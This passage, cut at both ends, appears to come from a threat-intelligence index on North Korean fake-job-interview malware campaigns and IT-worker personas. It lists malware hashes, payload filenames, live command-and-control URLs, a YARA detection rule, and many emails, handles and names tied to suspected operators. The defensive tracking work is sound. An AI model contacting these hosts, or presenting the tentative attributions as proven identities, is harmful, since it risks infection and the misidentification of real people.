f7d335205b8d7b20208fb3ef93ee6dc817905dc3ae0c10a0b164f4e7d07121cd SHA1 978407431d75885228e0776913543992a9eb7cc4 MD5 089e2872016f75a5223b5e02c184dfec Size 265 bytes Type PowerShell…","…3cxdesktopapp-18.12.416.msi bfecb8ce89a312d2ef4afc64a63847ae11c6f69e 3CXDesktopApp-18.12.416-full.nupkg f7f1b34c2770d83e2250e19c8425a4bec56617fd 3CXDesktopApp_v18.12.407.0.exe 6285ffb5f98d35cd98e78d48b63a05af6e4e4dea 3CXDesktopApp_v18.12.416.0.exe…","…(v1.4.6) Trojan.Script.Agent 078B18EB695DA94B85D29C94462BA64C MD5 chai-as-init-1.4.7.tgz Trojan.Script.Agent F8F5DF788C5B46E1FA779F01658F94C1 MD5 initializeCaller.js (v1.4.7) Trojan.Script.Agent https://*****-******-**.tiiny.site/data.json URL C2…","…description = \"Detect the RustBucket malware\" source = \"SEKOIA\" creation_date = \"2023-04-24\" classification = \"TLP:WHITE\" hash = \"f90b544f89cfbe38aee18024d7c39e40\" reference = \"https://tinyurl.com/5n7f56a8\" strings: $ = \"/Users/hero/\" $ = \"PATHIpv6Ipv4Bodyslotpath\" condition: (uint32be(0) ==…","…\"Simple indicator of observable {9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747}\", \"file\": {\"hash\": {\"md5\": [\"f90b544f89cfbe38aee18024d7c39e40\"], \"sha1\": [\"182760cbe11fa0316abfb8b7b00b63f83159f5aa\"], \"sha256\": [\"9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747\"]}},…","…SHA256 adobe.ps1 Dropper January 2025 f9536b1d798bee3af85b9700684b41da67ff9fed79aae018a47af085f75c9e3e SHA256 mer.ps1 Dropper January 2025…","…SHA256 AMD_Compute_Mode_Enabler.reg bb3af0c03e6b0833fa268d98e5a8b19e78fb108a830b58b2ade50c57e9fc9bed SHA256 ETHW_Miner.exe f96744a85419907e7c442b13beeefb6f985f3905a992dfefee03820ec6570fea SHA256 ldbdump.exe 2883b1ae430003f3eff809f0461e18694ee1e2bc38c98f9eff22a50b5043a770 SHA256 XMRig.exe…","…repository cc97517f80f567977300450de11e9a0be53f52657525a20b1091c99fe9e45730 SHA-256 shopping-platform.rar Trojanized repository fb94b2caee2c40635448a98ba0118421e19a400e74ccff73315f8fa42351f53f SHA-256 shop-main.zip Trojanized repository rightwidth.dev domain-name OTTERCOOKIE C2 Server ldb.rightwidth.dev domain-name Browser…","…, 900 variant SHA-256 91e334655d31f84963e6b9369d41698f51b00d7a203cf314ceba01780e6f337c eslint.config.mjs at 1b16bd46b7 SHA-256 fbf0e36dd7eb1e70fc4868a8d0d0cd8f6c80753241cd88a3518f40e9a67d232e .vscode/tasks.json at 1b16bd46b7 SHA-256 3b572a613f5013a64e1877dfed3873f2bcbd52e5259b199d41e02c33840abbcb fa-solid-300.llf ,…","…43 ad6104a503b46bf6ea505fe8b3182970 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d10208c32fbbb5cacbd2097fc0dcd444 fc4c319d7940ad1b7c0477469420bd11 fcde319b752cacec40ffba130067de0d 8c33e8439844c315b7b3f21b0c1633aa 8ff155a2962c77e9da05bd0476af36be 12bfe00206b2e83c7ff79b657d3c56df 89…","…Linux RAT — ld.py (FULL SOURCE RECOVERED) Hash: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf Size: 12,323 bytes | Detection: 0/76 | Language: Python 3 1.1 Architecture The Linux RAT is a single-file Python script with no…","…C2 sfrclak.com http://sfrclak.com:8000/6202033 142.11.206.73 Hash Platform SHA256 Linux ( ld.py ) fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf Windows ( 6202033.ps1 ) 617b67a8e1210e4fc87c92d1d1da45a2f311c08d26e89b12307cf583c900d101 Windows persistence ( system.bat )…","…macOS binary SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a /tmp/ld.py Linux loader SHA-256: fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf packages.npm.org/product1 npm identifier (Windows) Sent as POST body to C2 packages.npm.org/product0 npm identifier (macOS) Sent as…","…SHA256 e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 SILKBELL (setup.js) 5 SHA256 fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf WAVESHAPER.V2 (Linux) 6 SHA256 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a…","…Linux Payload Analysis — Python RAT Attribute VT-Verified Value SHA256 fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf SHA1 59faac136680104948e083b3b67a70af9bfa5d5e MD5 9663665850cdd8fe12e30a671e5c4e6f Size 12,323 bytes Type Python…","…70 bf795a376233032d05766a396b3d6e08 ca13c54987293ae7efc22b14e1153c1e d10208c32fbbb5cacbd2097fc0dcd444 fc4c319d7940ad1b7c0477469420bd11 fcde319b752cacec40ffba130067de0d 8c33e8439844c315b7b3f21b0c1633aa 8ff155a2962c77e9da05bd0476af36be 12bfe00206b2e83c7ff79b657d3c56df 89a725b08ab0e8885fc03b543638be96 62…","…36cac29ff3c503c2123514ea903836d5ad81067508a8e16f7947e3e675a08670 de6f9e9e2ce58a604fe22a9d42144191cfc90b4e0048dffcc69d696826ff7170 fd9e8fcc5bda88870b12b47cbb1cc8775ccff285f980c4a2b683463b26e36bf0 SHA256 hashes for BeaverTail - Windows EXE files: 0621d37818c35e2557fdd8a729e50ea662ba518df8ca61a44cc3add5c6deb3cd…","…Filename SHA256 FCCCall.msi fd9e8fcc5bda88870b12b47cbb1cc8775ccff285f980c4a2b683463b26e36bf0 FCCCall.msi 36cac29ff3c503c2123514ea903836d5ad81067508a8e16f7947e3e675a08670 FCCCall.msi…","…, and officecombine.com are disposable email provider domains. Appendix B — Full Hash Table SHA256 File VT Role fdb582f16475cb79bebd0dffc48d610430cae2e39e9a3e2abd373b3413691838 payload-extracted.txt 0/94 — first discovery npoint.io payload — extracted JS; fully analysed RAT+infostealer…","Script file dropped in the user's home directory as part of BeaverTail's postinstall execution chain in trojanized npm packages.","Filename used to disguise the macOS-targeted payload as a legitimate Apple system process in the April 2026 cross-ecosystem Contagious Interview wave.","Windows batch script companion to temp_auto_push.bat in the PolinRider campaign, typically hidden from a casual `git status`/diff review via a matching entry added to the repository's own .gitignore.","Artifact of the September 2025 BeaverTail distribution chain GitLab Threat Intelligence documented: the dropper script that fetched the Mach-O payloads from the RominaMabelRamirez/dify repository.","Primary delivery archive filename reused across the April 2026 cross-ecosystem Contagious Interview wave (npm, PyPI, Go, Rust, PHP) — researchers noted the actor repeatedly reuses the same constants, paths, and filenames across ecosystems.","StoatWaffle delivery artifact reported by NTT Security Japan: the disguised script file the bootstrap stage wrote and executed. NTT attributes StoatWaffle to WaterPlum, its name for the Contagious Interview operators.","Entry-point filename for the InvisibleFerret Python backdoor. Observed in the blocknovas.com-centered Contagious Interview cluster documented by Silent Push.","Fake video-conferencing app installers ('MiroTalk', also seen as 'FreeConference') used to disguise BeaverTail downloader delivery to job-seeker targets during fraudulent technical-interview calls.","Packaged payload observed in the same cluster, labeled by Silent Push as a related \"FrostyFerret\" variant. Observed in the blocknovas.com-centered Contagious Interview cluster documented by Silent Push.","Packaged Golang variant of the InvisibleFerret backdoor -- confirms the family is cross-platform, not Python-only. Observed in the blocknovas.com-centered Contagious Interview cluster documented by Silent Push.","Filename used for the initial-stage payload archive downloaded to a temp directory by BeaverTail-laced npm packages (e.g. postcss-optimizer) before being renamed to p2.zip and extracted.","Renamed payload archive extracted via 'tar -xf' after initial download as p.zi, observed in BeaverTail-laced npm package delivery chains.","Artifact of the September 2025 BeaverTail distribution chain GitLab Threat Intelligence documented: an unsigned Mach-O payload served from the repository.","Filename BeaverTail uses to stage stolen Solana wallet private-key material for exfiltration.","Filename used to disguise the Linux-targeted payload as a legitimate systemd component in the April 2026 cross-ecosystem Contagious Interview wave.","Windows batch script observed in 101 PolinRider-compromised repositories (100% true-positive rate in OpenSourceMalware's own verification sample), used to rewrite git history after injecting a malicious config-file change so the injection doesn't appear in a normal commit-log review. Often paired with config.bat, hidden via a .gitignore entry.","StoatWaffle delivery artifact reported by NTT Security Japan: the Windows bootstrap script a blockchain-themed lure project's .vscode/tasks.json launched when the folder was opened and trusted. NTT attributes StoatWaffle to WaterPlum, its name for the Contagious Interview operators.","Artifact of the September 2025 BeaverTail distribution chain GitLab Threat Intelligence documented: an unsigned Mach-O payload served from the repository, named to pass as an NVIDIA component.","The report of 26 January 2025 follows a researcher who answered a remote-work offer and was drawn into hosting laptops for North Korean IT workers; the first contact came from the Fiverr user Benjamin_Core, one of the two operators the researcher called \"the Bens\". The report names no other account.","…Websites: https://www.guru.com/freelancers/derekgamedev/portfolio https://www.fiverr.com/derekmiller03 https://laborx.com/freelancers/users/id328992 Other: https://www.youtube.com/@DerekMiller-h8m https://twitter.com/DerekMillerDev https://d…","…live:.cid.73d9933f3c8fe3e3 - https://derekgamedev.com - https://www.guru.com/freelancers/derekgamedev/portfolio - https://www.fiverr.com/derekmiller03 - https://laborx.com/freelancers/users/id328992 - https://www.youtube.com/@DerekMiller-h8m -…","…----------------------------- https://www.upwork.com/freelancers/~018fb2be2f5f7d4d72 https://www.upwork.com/freelancers/~01fd27fe1020f685a7 https://www.fiverr.com/greatemperor999 https://hubstafftalent.net/profiles/gao-yinxing https://hubstafftalent.net/profiles/gao-yinxing-2 https://hubstafftalent.net/profiles/yinxi…","The report on DPRK IT workers on the OnlyDust platform opens with the GitHub account 0xExp-po, finds in bestselection18's Automation-bot repository clues to how many fake identities the actor runs, and ties the V0410 identity to a Fiverr gig and a LinkedIn profile under the name Maksym Poplavskyi, deleted by the time of writing.","…of this name (a Ukrainian name, a choice we observe being popular with DPRK actors) is active on the Fiverr and LinkedIn platforms: https://www.fiverr.com/vincenzagiorgi6/make-meme-coin-tax-token-presale-staking-pumpfun-on-ethereum-base-solana-ton https://ua.linkedin.com/in/maksym-poplavskyi-337b782bb…","Found on 18 September 2026 by putting black02430horse, the GitHub login this persona is named for, to Maigret's username search and then asking Freelancer's public user endpoint, which answers with the account record and, for a name that does not exist, with nothing. Freelancer returns the account with the display name Closed User and a registration date of 30 October 2023: an account existed under the handle and has since been closed, which is recorded here because a closed account is still a registration, and the date is the one fact it states. The handle is what links this account to the rest; nothing here establishes that one person holds both, and a display name on a profile is a name the account presents, not an identification.","…onnected to Charles Lee Gordon persona - springdev216 - esoh0612 - ericsoh10 - esoh0612@gmail.com - github.com/springdev216 - freelancer.com/u/esoh0612 - trello.com/u/ericsoh10 - medium.com/@esoh0612 #### John Wilhelmson / zhmolly - 2021 - Shows up all over zhmolly handles - John…","…linkedin.com/in/aldinosaputra/ - smartpuck111@gmail.com - +6285732172769 - freelancer.com/u/spectrecoder - t.me/zerox_toml (ID: 8098234150 name: Zerox) - t.me/whitecrow0109 (ID: 6735314353 name: Tensor) •…","…![](./X_2025-11-22_KoppAnatoli.png) #### Denis Rudink - mykola1027 - Yang Da Hai - webstar1027 - t.me/denis_rudink - https://freelancermap.com/profile/denis-rudink - https://x.com/browsercookies/status/1934280908103884850 - ![](./1934280908103884850-1.png) #### Louise Egan - x.com/PinnacleFTSO -…","Found on 28 September 2026 by asking GitHub's commit search where three addresses from Hacking But Legal's committer-email list (lxin6793@gmail.com, randhawamanpreet37@gmail.com and webvlada2024@gmail.com) have committed. GitHub credits them to lxin6793-dot (filed earlier), Mann-004 and sparkdev0917, all three since deleted, and their commits sit in the same set of repositories: projects presented as MVPs and demos of real Web3 companies (0G Labs, A5 Labs, Ritual, Lukso, Improbable, Autonomys, Dapper Labs, Blockdaemon, Holitix, Astra Byte Sync and others), each under an organisation or account created in 2025 or 2026 holding that one repository. Those owners and repositories are carried. Copies of the same projects under long-established personal accounts in real names are left out: they read as candidates who received the lure, or researchers, not the people who wrote it, and three newer personal accounts that could be either are held. The source's list also holds the addresses of developers whose code the lures copied; those are held back.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. DmytroPutko98 holds dmytroputko@gmail.com (1); 0x1abe7 holds drgru854@gmail.com (4); filip1117-98 holds filip.porter9017@outlook.com (2). Where the address came from a report, the report is https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…https[ :// ]github.com/edwardtam919/staking-platform-main https[ :// ]github.com/TommyMinion/DeFi-Market https[ :// ]github.com/0x3ca54/arena-world https[ :// ]github.com/InfiniGods-Tech/rei Markdown GitHub account identified making initial commits to other repositories containing…","…/ivanwassaf/skill-test/ https://github.com/SettleMint-Tech-Hub5/SettleMint_Platform/ https://github.com/veneliteus-dev/exchange-backend/ https://github.com/0x9x-sketch/Oasis361/ https://github.com/eastmade/web3project-momo-token/ Appendix C.…","…{\"id\":\"8b90df41d3674848\",\"type\":\"link\",\"url\":\"https://github.com/0xalberto/\",\"x\":-985,\"y\":5590,\"width\":400,\"height\":400},…","…[Archive](https://web.archive.org/web/20250827054513/https://github.com/astermirac1e) - github.com/0xdpta - github.com/Satoshi-Naoki - github.com/0xb10ckdev • [Archive](https://archive.ph/KMoXG) - github.com/defi-wonderland/prophet-core/pull/2 - astermiracle1009@gmail.com -…","…mind, after checking the profile of Naoki Murano, under the handle of: 0xb10ckdev Press enter or click to view image in full size https://github.com/0xb10ckdev If we check who he follows, there is an interesting account: https://github.com/ororopickpocket After checking the followers of…","…| StockX PoC | realfraction (sub-shape C) | L | | [0xbrentfi/StockX_PoC_1.03](https://github.com/0xbrentfi/StockX_PoC_1.03) | StockX PoC | realfraction (sub-shape C) | L | | [0xbrentfi/StockX_PoC_1.04](https://github.com/0xbrentfi/StockX_PoC_1.04) | StockX PoC |…","…bitbaby888 - imyugioh - zhExcal - 0xlocker - ethlocker - raptor1001 - x.com/0xchamel - x.com/zhExcal - linkedin.com/in/lmauro77 - github.com/0xchamel - github.com/0xllaCh • [Archive](https://web.archive.org/web/20250827054938/https://github.com/0xllaCh) - github.com/0xlocker •…","The post publishes the following list of the kstar0102 persona, which this repository already documents, and reads the list itself as the finding: in the researcher's words it is thick with North Korean flags. These five accounts are carried as a group rather than as personas because that is the level the claim is made at -- the researcher asserts the company the account keeps, not an identity for each member of it. Two names on the same screenshot are deliberately absent. Oleksii Taranenko has an entry of his own here from other posts, and the remaining account belongs to a publicly known developer in Tokyo with an ordinary professional presence, who appears in the list for the same reason these personas follow any real engineer, and who is recorded in the held-back list so a later pass over this screenshot does not sweep him in.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from GitLab Threat Intelligence's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. purity111 holds mimoriokamoto@gmail.com (25); crfan0311 holds nicewitali0311@gmail.com (4); crsassmann holds onepushsing@gmail.com (24); owaisugh75 holds owaisugh75@gmail.com (70); untimon214 holds pleasemeup214@gmail.com (2); Kristian115 holds qoneits@outlook.com (10); ramirezhector9299 holds ramirezhector9299@gmail.com (6); abs-llc holds reactangulardev@gmail.com (3); 0xdeantech holds rickcarr1014@gmail.com (35); rochaevertondev holds rochaevertondev@gmail.com (100). Where the address came from a report, the report is https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Diaz / Kei Nakano - 2025 - mndiaz27 - 0xdefilover - github.com/0xdefilover • [Archive](https://web.archive.org/web/20250827055628/https://github.com/0xdefilover) - 0x9d66bea448eed9bdbb5f1acf032767b11fc78dcf - 0x961194d781623ebf5ce43087d85d2731cf1e7d1c #### Russell Hieu / Shota Nakamura - 2024,…","The dataset's folder for ZachXBT's investigation of 15 August 2024 keeps the accounts from that list still alive when it was compiled.","…naokimurano@outlook.com - murano@outlook.com - murano1996@gmail.com - github.com/supermutecx • [Archive](https://archive.ph/96QVA) - github.com/0xdpta - 0x85e0504fcd7981baa68774431099c5e2dcf074dd - 0x6188a9e76794e7cb337b8e5a2b91808ce34fc6d1 - 0x44A33a4a822194d3C8402629932dd88B0FF49b09…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from The Raven File's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. rockstar5795 holds victoryp00821@gmail.com (1); vigorring holds vigorring0914@gmail.com (100); WebTech0321 holds volleyvolley321@hotmail.com (98); WaltenTom holds waltentom@gmail.com (20); heavenstar0531 holds webdev0505@gmail.com (1); moonfury-ops holds webdevrose04@gmail.com (100); webmaster0407 holds webmaster0407@gmail.com (22); With-Oliwer holds webmaster19941022@gmail.com (1); cupid20103 holds webphantom20103@gmail.com (100); partner0831 holds webstar0104@gmail.com (100); uluksamakov holds webstar0411@gmail.com (100); IOTdatabox holds whaydigital@gmail.com (100); TimonDev0220 holds wiliwork1103@gmail.com (8); 0xhaaaash holds wintermountain2375@gmail.com (40); royalcollaborator holds wonderp087@gmail.com (100); dev8118 holds workaholic8118121@gmail.com (32); workartow2-collab holds workartow2@gmail.com (5); workbee49 holds workbee49@gmail.com (1); softwarepro137 holds works171707@gmail.com (1); mini-bug holds yuanmai212@gmail.com (11); algopert holds yurisoeda1013@gmail.com (33); together320 holds yuzheli320@gmail.com (100); angry-bear-0 holds zgmr07213@gmail.com (21); cryptosmiler holds zhijiwang0@gmail.com (29); web-gardener holds zhulishen0331@gmail.com (100). Where the address came from a report, the report is https://theravenfile.com/2025/08/19/unmasking-dprk-it-workers-email-address-patterns-as-hiring-red-flags/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Plethori, AXA, Cook, OZR, Zuniswap, Chain Guardians, Alvara Protocol, - Bram Chan - Bram Chen - gejeduck - github.com/gejeduck - github.com/0xhiros (2025) - 0x91689cf1c6cb61aa3d6663ffc74c9f689809af91 (T) - https://www.justice.gov/usao-dc/media/1402691/dl -…","…of the actor * Photo matches portfolio photo * Email: sebastian.robinson.info@gmail.com ----------------- ### Ichikawa Hiroshi * GitHub: https://github.com/0xichikawa * DEV Community: https://dev.to/ichikawa0822 * Daily Dev: https://app.daily.dev/ichikawahiroshi ----------------- ### Shiro Ennosuke /…","…, gitlab.com/jasonharry1988052/evm-ultrana-demo , gitlab.com/nextzen247/ultrana-1-23-579-release , github.com/0xJHdev/ultrana-staking-platform – styled as crypto project demos, the kind of codebase a candidate would be asked to run locally as part of a technical interview.…","…0xl2 - jigoat - zeroxjoe - x.com/zeroxjoe - 0xl2@proton.me - leon.lowden7@gmail.com - github.com/0xl2 • [Archive](https://archive.ph/KolKd) - 0x0c0e8ef4b62a4a2a1b5031911e272362530c1a9a - 0xfd1b05e51653339c850c8a18c9ac11aed9105f2a ####…","…zhExcal - 0xlocker - ethlocker - raptor1001 - x.com/0xchamel - x.com/zhExcal - linkedin.com/in/lmauro77 - github.com/0xchamel - github.com/0xllaCh • [Archive](https://web.archive.org/web/20250827054938/https://github.com/0xllaCh) - github.com/0xlocker •…","…0xm00n.eth - 0xm00neth - cryptonerd_ - 0xm00neth@gmail.com - 0xlock - github.com/0xm00neth • [Archive](https://archive.ph/WIu3i) - github.com/0xlock • [Archive](https://archive.ph/J347l) - x.com/0xm00neth - https://cryptototem.com/despace-des/ -…","…github.com/0xchamel - github.com/0xllaCh • [Archive](https://web.archive.org/web/20250827054938/https://github.com/0xllaCh) - github.com/0xlocker • [Archive](https://web.archive.org/web/20210309195053/https://github.com/0xlocker) - github.com/blueChamel •…","…Beanstalk, Blueberry, Spice Finance, - 0xMoon - 0xm00n - 0xm00n.eth - 0xm00neth - cryptonerd_ - 0xm00neth@gmail.com - 0xlock - github.com/0xm00neth • [Archive](https://archive.ph/WIu3i) - github.com/0xlock • [Archive](https://archive.ph/J347l) - x.com/0xm00neth -…","…0xMooncity is most likely the other g0drlc identity. Github URL: https://github.com/0xMooncity E-mails: hellomooncity@gmail.com, shaina42mcdermottjgv@hotmail.com Portfolio: https://www.mooncity.io 0xMooncity also started to…","…x.com/0xMuse9 - x.com/0xnightfly github.com/0xnightfly - x.com/0xopsdev github.com/0xopsdev - x.com/akratos_god github.com/kratos-te - x.com/d0sc4u - x.com/EleazarTlapala - x.com/norocos_cp -…","…x.com/0xMuse9 - x.com/0xnightfly github.com/0xnightfly - x.com/0xopsdev github.com/0xopsdev - x.com/akratos_god github.com/kratos-te - x.com/d0sc4u - x.com/EleazarTlapala - x.com/norocos_cp - x.com/soladify github.com/soladify -…","…are spun from endlessly forked repositories and sprinkled with some simple UI changes and re-branding. 0xOpsDev Github URL: https://github.com/0xopsdev Other names: ZireaelGit, MinionGit, meta0xflip E-mail: nelo.labhart@gmail.com On-chain: 0x7a87c66718255c5be3c0607e134592d9a8bdb32c…","…{\"id\":\"49c1e60b71ef30f1\",\"type\":\"link\",\"url\":\"https://github.com/0xopsdev\",\"x\":4620,\"y\":1580,\"width\":400,\"height\":400},…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from GitLab Threat Intelligence's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. dmb-dev87 holds dmbdev800@gmail.com (100); dobromirkovachev holds dobromirkovachev@outlook.com (2); dredsoft holds dredsoft@proton.me (69); dveretenov1 holds dveretenov@gmail.com (6); RisingStar522 holds dyadkovdevelop@gmail.com (11); enrique1225 holds enrique122528@hotmail.com (70); eruqulpuaro holds eruqulpuaro@gmail.com (3); devjourney2019 holds eruqulpuaro@hotmail.com (34); devsync255 holds gabriel.sanchez255@outlook.com (1); Venus0906 holds goldstar0906@outlook.com (6); srsoftwaredev015 holds greatbusinessman517@gmail.com (100); ghleoperez holds happyleonardo77@gmail.com (36); tf7tune holds harryjason19880502@gmail.com (3); dantelabs-bdm holds hidranomagica@outlook.com (1); TopManger holds hs8179189@gmail.com (9); janus9266 holds iamjanus66@gmail.com (100); 0xPEPEeth holds ignacioquesada127@gmail.com (14); Igor508 holds igorslobodyan508@gmail.com (19); Murattimadrid holds indulgenight@gmail.com (4). Where the address came from a report, the report is https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket.dev's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. 0xrosi holds malarkeyclayton5@gmail.com (100); kartarsingh803111 holds matheuslealcardoso86@gmail.com (100); matheus0331 holds matheusserra0133@gmail.com (3); Denys604 holds matiushkodenys@gmail.com (1). Where the address came from a report, the report is https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…![](./lucas-wong.jpg) #### Jannik Villostas - 2025 - 0xtomoon - mrcontract17877 - melonman913@gmail.com - github.com/0xtomoon • [Archive](https://web.archive.org/web/20250516070156/https://github.com/0xtomoon) - x.com/mrcontract17877 - t.me/janbuidl…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from The Raven File's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. 10terabyte holds 0supportx@gmail.com (100); devveteran holds aaroller669@gmail.com (57); cryptoveteran105 holds abirsadesta2021@gmail.com (100); acehood0126 holds acehood010126@gmail.com (100); Aceruling holds aceruling@gmail.com (100); ahura0901 holds ahura0901@gmail.com (3); Icarocom holds akimotoakira00124@gmail.com (23); dev2187 holds albert0703lin@gmail.com (10); EugeneAtHigh holds alchemist0803@mail.ru (92); AI1120 holds alinwilson1120@gmail.com (41); AlphaDev0101 holds alphadev0101@gmail.com (14); smartiguy07 holds ameslexander@gmail.com (100); AngelEyeDev holds angeleyes20525@gmail.com (22); angrybbomb holds angrybbomb@gmail.com (12); apollo-hero holds apollon71star@gmail.com (21); core116 holds applekevin10141106@gmail.com (6); artemsyvko holds artemsyvko71@gmail.com (71); maanav1647 holds asanohrsh@gmail.com (51); ADev999 holds ashleyssharper@gmail.com (7); astronicky holds astronickypower@gmail.com (38); Topdev512 holds atlassmith95@gmail.com (21); LamSiuMing holds audreybass140@gmail.com (100); devphoenix0409 holds bandwwith@gmail.com (55); BtcCaleb holds bbba00475@gmail.com (100); elite1002 holds bergeron1002@gmail.com (8); blacksaru holds bestlucky1030@gmail.com (100); BIGMOON202 holds bigmoon202@gmail.com (65); blackhoward holds blackhoward0417@gmail.com (100); pandablue0809 holds bluep0415@gmail.com (100); alpha007-dev holds bluesky02050@gmail.com (100); tingyangdevs20 holds brankovical98@gmail.com (100); pongzu313 holds breadheaddev313@gmail.com (100); WorldWideDevelop holds bridleland@gmail.com (100); akatsukione holds calvin168943@gmail.com (100); seniordeveloper101910 holds caoimhe397@gmail.com (6); compilex1 holds chaojin752@gmail.com (94); rampasa holds chidotechdev@gmail.com (15); cleverdev727 holds cleverdev727@gmail.com (100); mikyoch holds cocodev0113@gmail.com (78); nightowl0804 holds codegenerator1994@gmail.com (100); theSpaceVision holds codewaterhole@gmail.com (3); codemaster0011 holds codingmaster316@gmail.com (4); johntopdev0011 holds comantivirus250@gmail.com (100); Comma0517 holds comma0517@gmail.com (3); chibang1987 holds confidencegabriel87913@gmail.com (6); Ambitioner333 holds coryitpro@gmail.com (28); CovidHunter holds covidhunter036@gmail.com (100); pyguru-dev holds crazybrainy333@skiff.com (100); cactusming holds creative19970518@gmail.com (100); creativebull holds creativebull0103@gmail.com (100); Ronnydev7 holds cristianorodriguez779@gmail.com (100); dancerking holds dancerking306@gmail.com (100); apollo-man holds daneiljhon7@gmail.com (3); darkhorse03111 holds darkhorse03111@gmail.com (100); darkhorse07232020 holds darkhorse0723@gmail.com (46); DarkHorse0725 holds darktop0112@gmail.com (100); David-Kup holds davidkup276@gmail.com (4). Where the address came from a report, the report is https://theravenfile.com/2025/08/19/unmasking-dprk-it-workers-email-address-patterns-as-hiring-red-flags/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…{\"id\":\"803b94c5fc6dbff9\",\"type\":\"link\",\"url\":\"https://github.com/2enology\",\"x\":4620,\"y\":-2840,\"width\":400,\"height\":400},…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. project-demo-test holds souzaporto800@gmail.com (6); 555Enver holds starlancer555@gmail.com (100). Where the address came from a report, the report is https://socket.dev/blog/contagious-interview-campaign-escalates-67-malicious-npm-packages https://socket.dev/blog/lazarus-expands-malicious-npm-campaign-11-new-packages-add-malware-loaders-and-bitbucket. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…(IOCs) GitHub Accounts: github.com/motokimasuo github.com/bestselection18 github.com/kirbyAttack github.com/swiftcode1121 github.com/7CodeWizard Email Addresses: truepartner312@gmail.com motosimasuo@gmail.com jacksummers0822@gmail.com Calendly url:…","…of Compromise IPv4:194.33.45.162 URL:https://t.me/peregrine423f URL:aaronzeeshan.slack.com URL:aaronsfazzy.slack.com URL:https://github.com/7codewizard URL:https://github.com/neymafullstack URL:https://github.com/swiftcode1121 URL:https://github.com/ghost…","…b.com/buddy0323/bright0220 URL:https//github.com/bright0220 URL:https//github.com/ghost URL:https//github.com/NeymaFullStack URL:https//github.com/7codewizard URL:https//calendly.com/7codewizard/30min URL:https//github.com/anupam-tiwari/productivity_tracker/issues/1 URL:https//github.com/typesc…","…Xpos587 — GitHub account Xpos587/git2md Xpos587/markfetch Artiffusion-Inc/mirofish sevenspan — Packagist namespace 7span — GitHub organization 7span/react-list PolinRider Affected Packages # We are tracking the full campaign on a dedicated page, with all affected artifacts added as they are…","…<ferexmoto6@gmail.com> Domains: - vscode-load-config.vercel.app ## Variant twleve - November 13, 2025 - Unique Identifier: flag=301 github.com/AbdullahSalihOner/golden-task #### Notes: This GitHub user almost appears real at first glance, but then upon closer inspection it feels fake.…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Flare's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. abharun holds adambinharun1010@gmail.com (91); WanderingPaladin holds akijohansson116@gmail.com (97); OrestTytarchuck1 holds autumnhappyfamily@gmail.com (1); avoroy holds avoroy@biztechadvisors.com (93); climax-solution holds blocklimax@gmail.com (100). Where the address came from a report, the report is https://flare.io/learn/resources/north-korean-infiltrator-threat. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from The Raven File's reporting, which account its commits are credited to. GitHub credits a 